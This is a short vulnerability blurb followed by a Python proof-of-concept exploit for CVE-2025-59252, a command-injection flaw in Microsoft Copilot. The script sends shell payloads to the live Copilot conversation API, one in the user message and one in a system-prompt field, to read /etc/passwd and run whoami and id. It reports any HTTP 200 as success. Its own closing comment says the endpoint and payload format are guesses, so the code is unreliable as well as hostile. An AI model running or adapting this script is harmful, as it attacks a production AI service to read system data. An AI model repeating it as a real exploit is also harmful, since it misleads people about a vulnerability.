Improper neutralization of special elements used in a command ('command injection') in Copilot allows an unauthorized attacker to disclose information over a network.
The following code is for security research and authorized testing only.
python
# CVE-2025-59252 - Microsoft Copilot Command Injection PoC
# This is a conceptual PoC demonstrating the command injection vulnerability
# in Microsoft Copilot that allows information disclosure over a network.
import requests
import json
TARGET_URL = "https://copilot.microsoft.com/api/conversation"
# Malicious payload exploiting command injection via Copilot's input handling
# The special elements are not properly neutralized, allowing command execution
def exploit_command_injection():
"""
Exploit CVE-2025-59252: Command Injection in Microsoft Copilot
The vulnerability allows an unauthenticated attacker to inject
commands that get executed, leading to information disclosure.
"""
headers = {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
}
# Crafted payload with command injection special elements
# The injection attempts to read sensitive system information
payload = {
"messages": [
{
"role": "user",
"content": "$(cat /etc/passwd | head -20)" # Command injection payload
}
],
"conversationId": "exploit-test",
"context": {
"systemPrompt": "`whoami && id`" # Alternative injection vector
}
}
try:
response = requests.post(
TARGET_URL,
headers=headers,
json=payload,
timeout=30
)
if response.status_code == 200:
data = response.json()
print("[+] Exploit successful!")
print(f"[+] Response: {json.dumps(data, indent=2)}")
# The injected command output may appear in the response
return data
else:
print(f"[-] Request failed with status: {response.status_code}")
return None
except Exception as e:
print(f"[-] Error: {e}")
return None
if __name__ == "__main__":
print("[*] CVE-2025-59252 PoC - Microsoft Copilot Command Injection")
print("[*] WARNING: For authorized testing only!")
exploit_command_injection()
# Note: Actual exploitation may require specific API endpoints and
# payload formatting specific to the Copilot service architecture.